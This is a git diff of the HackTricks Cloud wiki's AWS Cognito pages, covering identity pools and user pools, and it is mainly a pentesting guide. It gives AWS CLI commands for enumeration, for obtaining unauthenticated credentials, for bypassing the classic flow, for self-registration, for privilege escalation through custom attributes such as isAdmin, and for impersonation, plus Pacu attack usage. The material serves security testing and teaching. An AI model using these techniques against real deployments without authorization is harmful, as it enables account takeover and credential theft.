+- [https://docs.aws.amazon.com/managedservices/latest/userguide/code-build.html](https://docs.aws.amazon.com/managedservices/latest/userguide/code-build.html)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md
new file mode 100644
index 000000000..581b457be
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md
@@ -0,0 +1,102 @@
+# AWS - Cognito Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Cognito
+
+Amazon Cognito is utilized for **authentication, authorization, and user management** in web and mobile applications. It allows users the flexibility to sign in either directly using a **user name and password** or indirectly through a **third party**, including Facebook, Amazon, Google, or Apple.
+
+Central to Amazon Cognito are two primary components:
+
+1. **User Pools**: These are directories designed for your app users, offering **sign-up and sign-in functionalities**.
+2. **Identity Pools**: These pools are instrumental in **authorizing users to access different AWS services**. They are not directly involved in the sign-in or sign-up process but are crucial for resource access post-authentication.
+
+### **User pools**
+
+To learn what is a **Cognito User Pool check**:
+
+{{#ref}}
+cognito-user-pools.md
+{{#endref}}
+
+### **Identity pools**
+
+The learn what is a **Cognito Identity Pool check**:
+
+{{#ref}}
+cognito-identity-pools.md
+{{#endref}}
+
+## Enumeration
+
+```bash
+# List Identity Pools
+aws cognito-identity list-identity-pools --max-results 60
+aws cognito-identity describe-identity-pool --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
+aws cognito-identity list-identities --identity-pool-id <ident-pool-id> --max-results 60
+aws cognito-identity get-identity-pool-roles --identity-pool-id <ident-pool-id>
+
+# Identities Datasets
+## Get dataset of identity id (inside identity pool)
+aws cognito-sync list-datasets --identity-pool-id <ident-pool-id> --identity-id <ident-id>
+## Get info of the dataset
+aws cognito-sync describe-dataset --identity-pool-id <value> --identity-id <value> --dataset-name <value>
+## Get dataset records
+aws cognito-sync list-records --identity-pool-id <value> --identity-id <value> --dataset-name <value>
+
+# User Pools
+## Get pools
+aws cognito-idp list-user-pools --max-results 60
+
+## Get users
+aws cognito-idp list-users --user-pool-id <user-pool-id>
+
+## Get groups
+aws cognito-idp list-groups --user-pool-id <user-pool-id>
+
+## Get users in a group
+aws cognito-idp list-users-in-group --user-pool-id <user-pool-id> --group-name <group-name>
+
+## List App IDs of a user pool
+aws cognito-idp list-user-pool-clients --user-pool-id <user-pool-id>
+
+## List configured identity providers for a user pool
+aws cognito-idp list-identity-providers --user-pool-id <user-pool-id>
+
+## List user import jobs
+aws cognito-idp list-user-import-jobs --user-pool-id <user-pool-id> --max-results 60
+
+## Get MFA config of a user pool
+aws cognito-idp get-user-pool-mfa-config --user-pool-id <user-pool-id>
+
+## Get risk configuration
+aws cognito-idp describe-risk-configuration --user-pool-id <user-pool-id>
+```
+
+### Identity Pools - Unauthenticated Enumeration
+
+Just **knowing the Identity Pool ID** you might be able **get credentials of the role associated to unauthenticated** users (if any). [**Check how here**](cognito-identity-pools.md#accessing-iam-roles).
+
+### User Pools - Unauthenticated Enumeration
+
+Even if you **don't know a valid username** inside Cognito, you might be able to **enumerate** valid **usernames**, **BF** the **passwords** of even **register a new user** just **knowing the App client ID** (which is usually found in source code). [**Check how here**](cognito-user-pools.md#registration)**.**
+
+## Privesc
+
+{{#ref}}
+../../aws-privilege-escalation/aws-cognito-privesc.md
+{{#endref}}
+
+## Unauthenticated Access
+
+{{#ref}}
+../../aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md
+{{#endref}}
+
+## Persistence
+
+{{#ref}}
+../../aws-persistence/aws-cognito-persistence.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md
similarity index 63%
rename from pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md
rename to src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md
index 0ed8cb022..14d5f806a 100644
--- a/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md
@@ -1,29 +1,16 @@
 # Cognito Identity Pools
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## Basic Information
 
 Identity pools serve a crucial role by enabling your users to **acquire temporary credentials**. These credentials are essential for accessing various AWS services, including but not limited to Amazon S3 and DynamoDB. A notable feature of identity pools is their support for both anonymous guest users and a range of identity providers for user authentication. The supported identity providers include:
 
-* Amazon Cognito user pools
-* Social sign-in options such as Facebook, Google, Login with Amazon, and Sign in with Apple
-* Providers compliant with OpenID Connect (OIDC)
-* SAML (Security Assertion Markup Language) identity providers
-* Developer authenticated identities
+- Amazon Cognito user pools
+- Social sign-in options such as Facebook, Google, Login with Amazon, and Sign in with Apple
+- Providers compliant with OpenID Connect (OIDC)
+- SAML (Security Assertion Markup Language) identity providers
+- Developer authenticated identities
 
 ```python
 # Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
@@ -58,7 +45,7 @@ Moreover, the service **cognito-sync** is the service that allow to **manage and
 
 ### Tools for pentesting
 
-* [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, now includes the "cognito\_\_enum" and "cognito\_\_attack" modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc.
+- [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, now includes the "cognito\_\_enum" and "cognito\_\_attack" modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc.
 
 For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page.
 
@@ -67,8 +54,8 @@ For a description of the modules' functions see part 2 of the [blog post](https:
 Sample cognito\_\_attack usage to attempt user creation and all privesc vectors against a given identity pool and user pool client:
 
 ```bash
-Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools 
-us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 
+Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
+us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
 ```
 
@@ -78,7 +65,7 @@ Sample cognito\_\_enum usage to gather all user pools, user pool clients, identi
 Pacu (new:test) > run cognito__enum
 ```
 
-* [Cognito Scanner](https://github.com/padok-team/cognito-scanner) is a CLI tool in python that implements different attacks on Cognito including unwanted account creation and identity pool escalation.
+- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) is a CLI tool in python that implements different attacks on Cognito including unwanted account creation and identity pool escalation.
 
 #### Installation
 
@@ -100,9 +87,8 @@ For more information check https://github.com/padok-team/cognito-scanner
 
 The only thing an attacker need to know to **get AWS credentials** in a Cognito app as unauthenticated user is the **Identity Pool ID**, and this **ID must be hardcoded** in the web/mobile **application** for it to use it. An ID looks like this: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (it's not bruteforceable).
 
-{% hint style="success" %}
-The **IAM Cognito unathenticated role created via is called** by default `Cognito_<Identity Pool name>Unauth_Role`
-{% endhint %}
+> [!TIP]
+> The **IAM Cognito unathenticated role created via is called** by default `Cognito_<Identity Pool name>Unauth_Role`
 
 If you find an Identity Pools ID hardcoded and it allows unauthenticated users, you can get AWS credentials with:
 
@@ -139,9 +125,8 @@ aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
 aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign
 ```
 
-{% hint style="warning" %}
-Note that by default an unauthenticated cognito **user CANNOT have any permission, even if it was assigned via a policy**. Check the followin section.
-{% endhint %}
+> [!WARNING]
+> Note that by default an unauthenticated cognito **user CANNOT have any permission, even if it was assigned via a policy**. Check the followin section.
 
 ### Enhanced vs Basic Authentication flow
 
@@ -149,7 +134,6 @@ The previous section followed the **default enhanced authentication flow**. This
 
 However, there is a way to bypass this, if the **Identity pool has "Basic (Classic) Flow" enabled**, the user will be able to obtain a session using that flow which **won't have that restrictive session policy**.
 
-{% code overflow="wrap" %}
 ```bash
 # Get auth ID
 aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
@@ -161,29 +145,25 @@ aws cognito-identity get-open-id-token --identity-id <identity_id> --no-sign
 ## If you don't know the role_arn use the previous enhanced flow to get it
 aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<role_name>" --role-session-name sessionname --web-identity-token <token> --no-sign
 ```
-{% endcode %}
 
-{% hint style="warning" %}
-If you receive this **error**, it's because the **basic flow is not enabled (default)**
+> [!WARNING]
+> If you receive this **error**, it's because the **basic flow is not enabled (default)**
 
-`An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.`
-{% endhint %}
+> `An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.`
 
 Having a set of IAM credentials you should check [which access you have](../../#whoami) and try to [escalate privileges](../../aws-privilege-escalation/).
 
 ### Authenticated
 
-{% hint style="info" %}
-Remember that **authenticated users** will be probably granted **different permissions**, so if you can **sign up inside the app**, try doing that and get the new credentials.
-{% endhint %}
+> [!NOTE]
+> Remember that **authenticated users** will be probably granted **different permissions**, so if you can **sign up inside the app**, try doing that and get the new credentials.
 
 There could also be **roles** available for **authenticated users accessing the Identity Poo**l.
 
 For this you might need to have access to the **identity provider**. If that is a **Cognito User Pool**, maybe you can abuse the default behaviour and **create a new user yourself**.
 
-{% hint style="success" %}
-The **IAM Cognito athenticated role created via is called** by default `Cognito_<Identity Pool name>Auth_Role`
-{% endhint %}
+> [!TIP]
+> The **IAM Cognito athenticated role created via is called** by default `Cognito_<Identity Pool name>Auth_Role`
 
 Anyway, the **following example** expects that you have already logged in inside a **Cognito User Pool** used to access the Identity Pool (don't forget that other types of identity providers could also be configured).
 
@@ -205,21 +185,7 @@ aws cognito-identity get-credentials-for-identity \
 </strong>    --logins cognito-idp.&#x3C;region>.amazonaws.com/&#x3C;YOUR_USER_POOL_ID>=&#x3C;ID_TOKEN>
 </code></pre>
 
-{% hint style="warning" %}
-It's possible to **configure different IAM roles depending on the identity provide**r the user is being logged in or even just depending **on the user** (using claims). Therefore, if you have access to different users through the same or different providers, if might be **worth it to login and access the IAM roles of all of them**.
-{% endhint %}
+> [!WARNING]
+> It's possible to **configure different IAM roles depending on the identity provide**r the user is being logged in or even just depending **on the user** (using claims). Therefore, if you have access to different users through the same or different providers, if might be **worth it to login and access the IAM roles of all of them**.
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md
similarity index 70%
rename from pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md
rename to src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md
index d0229cf86..471d04789 100644
--- a/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md
@@ -1,19 +1,6 @@
 # Cognito User Pools
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## Basic Information
 
@@ -21,24 +8,24 @@ A user pool is a user directory in Amazon Cognito. With a user pool, your users
 
 User pools provide:
 
-* Sign-up and sign-in services.
-* A built-in, customizable web UI to sign in users.
-* Social sign-in with Facebook, Google, Login with Amazon, and Sign in with Apple, and through SAML and OIDC identity providers from your user pool.
-* User directory management and user profiles.
-* Security features such as multi-factor authentication (MFA), checks for compromised credentials, account takeover protection, and phone and email verification.
-* Customized workflows and user migration through AWS Lambda triggers.
+- Sign-up and sign-in services.
+- A built-in, customizable web UI to sign in users.
+- Social sign-in with Facebook, Google, Login with Amazon, and Sign in with Apple, and through SAML and OIDC identity providers from your user pool.
+- User directory management and user profiles.
+- Security features such as multi-factor authentication (MFA), checks for compromised credentials, account takeover protection, and phone and email verification.
+- Customized workflows and user migration through AWS Lambda triggers.
 
 **Source code** of applications will usually also contain the **user pool ID** and the **client application ID**, (and some times the **application secret**?) which are needed for a **user to login** to a Cognito User Pool.
 
 ### Potential attacks
 
-* **Registration**: By default a user can register himself, so he could create a user for himself.
-* **User enumeration**: The registration functionality can be used to find usernames that already exists. This information can be useful for the brute-force attack.
-* **Login brute-force**: In the [**Authentication**](cognito-user-pools.md#authentication) section you have all the **methods** that a user have to **login**, you could try to brute-force them **find valid credentials**.
+- **Registration**: By default a user can register himself, so he could create a user for himself.
+- **User enumeration**: The registration functionality can be used to find usernames that already exists. This information can be useful for the brute-force attack.
+- **Login brute-force**: In the [**Authentication**](cognito-user-pools.md#authentication) section you have all the **methods** that a user have to **login**, you could try to brute-force them **find valid credentials**.
 
 ### Tools for pentesting
 
-* [Pacu](https://github.com/RhinoSecurityLabs/pacu), now includes the `cognito__enum` and `cognito__attack` modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc.\
+- [Pacu](https://github.com/RhinoSecurityLabs/pacu), now includes the `cognito__enum` and `cognito__attack` modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc.\
   For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page.
 
 ```bash
@@ -46,12 +33,12 @@ User pools provide:
 Pacu (new:test) > run cognito__enum
 
 # cognito__attack usage to attempt user creation and all privesc vectors against a given identity pool and user pool client:
-Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools 
-us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 
+Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
+us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
 ```
 
-* [Cognito Scanner](https://github.com/padok-team/cognito-scanner) is a CLI tool in python that implements different attacks on Cognito including unwanted account creation and account oracle. Check [this link](https://github.com/padok-team/cognito-scanner) for more info.
+- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) is a CLI tool in python that implements different attacks on Cognito including unwanted account creation and account oracle. Check [this link](https://github.com/padok-team/cognito-scanner) for more info.
 
 ```bash
 # Install
@@ -60,10 +47,10 @@ pip install cognito-scanner
 cognito-scanner --help
 ```
 
-* [CognitoAttributeEnum](https://github.com/punishell/CognitoAttributeEnum): This script allows to enumerate valid attributes for users.
+- [CognitoAttributeEnum](https://github.com/punishell/CognitoAttributeEnum): This script allows to enumerate valid attributes for users.
 
 ```bash
-python cognito-attribute-enu.py -client_id 16f1g98bfuj9i0g3f8be36kkrl 
+python cognito-attribute-enu.py -client_id 16f1g98bfuj9i0g3f8be36kkrl
 ```
 
 ## Registration
@@ -96,10 +83,9 @@ You could use this functionality also to **enumerate existing users.** This is t
 An error occurred (UsernameExistsException) when calling the SignUp operation: User already exists
 ```
 
-{% hint style="info" %}
-Note in the previous command how the **custom attributes start with "custom:"**.\
-Also know that when registering you **cannot create for the user new custom attributes**. You can only give value to **default attributes** (even if they aren't required) and **custom attributes specified**.
-{% endhint %}
+> [!NOTE]
+> Note in the previous command how the **custom attributes start with "custom:"**.\
+> Also know that when registering you **cannot create for the user new custom attributes**. You can only give value to **default attributes** (even if they aren't required) and **custom attributes specified**.
 
 Or just to test if a client id exists. This is the error if the client-id doesn't exist:
 
@@ -125,9 +111,8 @@ aws cognito-idp confirm-sign-up --client-id <cliet_id> \
     --no-sign-request --region us-east-1
 ```
 
-{% hint style="warning" %}
-Even if **looks like you can use the same email** and phone number, when you need to verify the created user Cognito will complain about using the same info and **won't let you verify the account**.
-{% endhint %}
+> [!WARNING]
+> Even if **looks like you can use the same email** and phone number, when you need to verify the created user Cognito will complain about using the same info and **won't let you verify the account**.
 
 ### Privilege Escalation / Updating Attributes
 
@@ -142,20 +127,18 @@ aws cognito-idp update-user-attributes \
 
 #### Custom attribute privesc
 
-{% hint style="danger" %}
-You might find **custom attributes** being used (such as `isAdmin`), as by default you can **change the values of your own attributes** you might be able to **escalate privileges** changing the value yourself!
-{% endhint %}
+> [!CAUTION]
+> You might find **custom attributes** being used (such as `isAdmin`), as by default you can **change the values of your own attributes** you might be able to **escalate privileges** changing the value yourself!
 
 #### Email/username modification privesc
 
 You can use this to **modify the email and phone number** of a user, but then, even if the account remains as verified, those attributes are **set in unverified status** (you need to verify them again).
 
-{% hint style="warning" %}
-You **won't be able to login with email or phone number** until you verify them, but you will be **able to login with the username**.\
-Note that even if the email was modified and not verified it will appear in the ID Token inside the **`email`** **field** and the filed **`email_verified`** will be **false**, but if the app **isn't checking that you might impersonate other users**.
+> [!WARNING]
+> You **won't be able to login with email or phone number** until you verify them, but you will be **able to login with the username**.\
+> Note that even if the email was modified and not verified it will appear in the ID Token inside the **`email`** **field** and the filed **`email_verified`** will be **false**, but if the app **isn't checking that you might impersonate other users**.
 
-Moreover, note that you can put anything inside the **`name`** field just modifying the **name attribute**. If an app is **checking** **that** field for some reason **instead of the `email`** (or any other attribute) you might be able to **impersonate other users**.
-{% endhint %}
+> Moreover, note that you can put anything inside the **`name`** field just modifying the **name attribute**. If an app is **checking** **that** field for some reason **instead of the `email`** (or any other attribute) you might be able to **impersonate other users**.
 
 Anyway, if for some reason you changed your email for example to a new one you can access you can **confirm the email with the code you received in that email address**:
 
@@ -168,9 +151,8 @@ aws cognito-idp verify-user-attribute \
 
 Use **`phone_number`** instead of **`email`** to change/verify a **new phone number**.
 
-{% hint style="info" %}
-The admin could also enable the option to **login with a user preferred username**. Note that you won't be able to change this value to **any username or preferred\_username already being used** to impersonate a different user.
-{% endhint %}
+> [!NOTE]
+> The admin could also enable the option to **login with a user preferred username**. Note that you won't be able to change this value to **any username or preferred_username already being used** to impersonate a different user.
 
 ### Recover/Change Password
 
@@ -182,9 +164,8 @@ aws cognito-idp forgot-password \
     --username <username/email/phone> --region <region>
 ```
 
-{% hint style="info" %}
-The response of the server is always going to be positive, like if the username existed. You cannot use this method to enumerate users
-{% endhint %}
+> [!NOTE]
+> The response of the server is always going to be positive, like if the username existed. You cannot use this method to enumerate users
 
 With the code you can change the password with:
 
@@ -210,32 +191,31 @@ aws cognito-idp change-password \
 A user pool supports **different ways to authenticate** to it. If you have a **username and password** there are also **different methods** supported to login.\
 Moreover, when a user is authenticated in the Pool **3 types of tokens are given**: The **ID Token**, the **Access token** and the **Refresh token**.
 
-* [**ID Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-id-token.html): It contains claims about the **identity of the authenticated user,** such as `name`, `email`, and `phone_number`. The ID token can also be used to **authenticate users to your resource servers or server applications**. You must **verify** the **signature** of the ID token before you can trust any claims inside the ID token if you use it in external applications.
-  * The ID Token is the token that **contains the attributes values of the user**, even the custom ones.
-* [**Access Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-access-token.html): It contains claims about the authenticated user, a list of the **user's groups, and a list of scopes**. The purpose of the access token is to **authorize API operations** in the context of the user in the user pool. For example, you can use the access token to **grant your user access** to add, change, or delete user attributes.
-* [**Refresh Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-refresh-token.html): With refresh tokens you can **get new ID Tokens and Access Tokens** for the user until the **refresh token is invalid**. By **default**, the refresh token **expires 30 days after** your application user signs into your user pool. When you create an application for your user pool, you can set the application's refresh token expiration to **any value between 60 minutes and 10 years**.
+- [**ID Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-id-token.html): It contains claims about the **identity of the authenticated user,** such as `name`, `email`, and `phone_number`. The ID token can also be used to **authenticate users to your resource servers or server applications**. You must **verify** the **signature** of the ID token before you can trust any claims inside the ID token if you use it in external applications.
+  - The ID Token is the token that **contains the attributes values of the user**, even the custom ones.
+- [**Access Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-access-token.html): It contains claims about the authenticated user, a list of the **user's groups, and a list of scopes**. The purpose of the access token is to **authorize API operations** in the context of the user in the user pool. For example, you can use the access token to **grant your user access** to add, change, or delete user attributes.
+- [**Refresh Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-refresh-token.html): With refresh tokens you can **get new ID Tokens and Access Tokens** for the user until the **refresh token is invalid**. By **default**, the refresh token **expires 30 days after** your application user signs into your user pool. When you create an application for your user pool, you can set the application's refresh token expiration to **any value between 60 minutes and 10 years**.
 
-### ADMIN\_NO\_SRP\_AUTH & ADMIN\_USER\_PASSWORD\_AUTH
+### ADMIN_NO_SRP_AUTH & ADMIN_USER_PASSWORD_AUTH
 
 This is the server side authentication flow:
 
-* The server-side app calls the **`AdminInitiateAuth` API operation** (instead of `InitiateAuth`). This operation requires AWS credentials with permissions that include **`cognito-idp:AdminInitiateAuth`** and **`cognito-idp:AdminRespondToAuthChallenge`**. The operation returns the required authentication parameters.
-* After the server-side app has the **authentication parameters**, it calls the **`AdminRespondToAuthChallenge` API operation**. The `AdminRespondToAuthChallenge` API operation only succeeds when you provide AWS credentials.
+- The server-side app calls the **`AdminInitiateAuth` API operation** (instead of `InitiateAuth`). This operation requires AWS credentials with permissions that include **`cognito-idp:AdminInitiateAuth`** and **`cognito-idp:AdminRespondToAuthChallenge`**. The operation returns the required authentication parameters.
+- After the server-side app has the **authentication parameters**, it calls the **`AdminRespondToAuthChallenge` API operation**. The `AdminRespondToAuthChallenge` API operation only succeeds when you provide AWS credentials.
 
 This **method is NOT enabled** by default.
 
 To **login** you **need** to know:
 
-* user pool id
-* client id
-* username
-* password
-* client secret (only if the app is configured to use a secret)
+- user pool id
+- client id
+- username
+- password
+- client secret (only if the app is configured to use a secret)
 
-{% hint style="info" %}
-In order to be **able to login with this method** that application must allow to login with `ALLOW_ADMIN_USER_PASSWORD_AUTH`.\
-Moreover, to perform this action you need credentials with the permissions **`cognito-idp:AdminInitiateAuth`** and **`cognito-idp:AdminRespondToAuthChallenge`**
-{% endhint %}
+> [!NOTE]
+> In order to be **able to login with this method** that application must allow to login with `ALLOW_ADMIN_USER_PASSWORD_AUTH`.\
+> Moreover, to perform this action you need credentials with the permissions **`cognito-idp:AdminInitiateAuth`** and **`cognito-idp:AdminRespondToAuthChallenge`**
 
 ```python
 aws cognito-idp admin-initiate-auth \
@@ -295,29 +275,28 @@ print(login_user(username, password, client_id, client_secret, user_pool_id))
 
 </details>
 
-### USER\_PASSWORD\_AUTH
+### USER_PASSWORD_AUTH
 
-This method is another simple and **traditional user & password authentication** flow. It's recommended to **migrate a traditional** authentication method **to Cognito** and **recommended** to then **disable** it and **use** then **ALLOW\_USER\_SRP\_AUTH** method instead (as that one never sends the password over the network).\
+This method is another simple and **traditional user & password authentication** flow. It's recommended to **migrate a traditional** authentication method **to Cognito** and **recommended** to then **disable** it and **use** then **ALLOW_USER_SRP_AUTH** method instead (as that one never sends the password over the network).\
 This **method is NOT enabled** by default.
 
 The main **difference** with the **previous auth method** inside the code is that you **don't need to know the user pool ID** and that you **don't need extra permissions** in the Cognito User Pool.
 
 To **login** you **need** to know:
 
-* client id
-* username
-* password
-* client secret (only if the app is configured to use a secret)
+- client id
+- username
+- password
+- client secret (only if the app is configured to use a secret)
 
-{% hint style="info" %}
-In order to be **able to login with this method** that application must allow to login with ALLOW\_USER\_PASSWORD\_AUTH.
-{% endhint %}
+> [!NOTE]
+> In order to be **able to login with this method** that application must allow to login with ALLOW_USER_PASSWORD_AUTH.
 
 ```python
 aws cognito-idp initiate-auth  --client-id <client-id> \
     --auth-flow USER_PASSWORD_AUTH --region <region> \
     --auth-parameters 'USERNAME=<username>,PASSWORD=<password>,SECRET_HASH=<hash_if_needed>'
-    
+
 # Check the python code to learn how to generate the secret_hash
 ```
 
@@ -367,18 +346,18 @@ print(login_user(username, password, client_id, client_secret, user_pool_id))
 
 </details>
 
-### USER\_SRP\_AUTH
+### USER_SRP_AUTH
 
 This is scenario is similar to the previous one but **instead of of sending the password** through the network to login a **challenge authentication is performed** (so no password navigating even encrypted through he net).\
 This **method is enabled** by default.
 
 To **login** you **need** to know:
 
-* user pool id
-* client id
-* username
-* password
-* client secret (only if the app is configured to use a secret)
+- user pool id
+- client id
+- username
+- password
+- client secret (only if the app is configured to use a secret)
 
 <details>
 
@@ -395,7 +374,7 @@ CLIENT_ID = '12xxxxxxxxxxxxxxxxxxxxxxx'
 CLIENT_SECRET = 'secreeeeet'
 os.environ["AWS_DEFAULT_REGION"] = "<region>"
 
-aws = AWSSRP(username=USERNAME, password=PASSWORD, pool_id=POOL_ID, 
+aws = AWSSRP(username=USERNAME, password=PASSWORD, pool_id=POOL_ID,
     client_id=CLIENT_ID, client_secret=CLIENT_SECRET)
 tokens = aws.authenticate_user()
 id_token = tokens['AuthenticationResult']['IdToken']
@@ -406,7 +385,7 @@ token_type = tokens['AuthenticationResult']['TokenType']
 
 </details>
 
-### REFRESH\_TOKEN\_AUTH & REFRESH\_TOKEN
+### REFRESH_TOKEN_AUTH & REFRESH_TOKEN
 
 This **method is always going to be valid** (it cannot be disabled) but you need to have a valid refresh token.
 
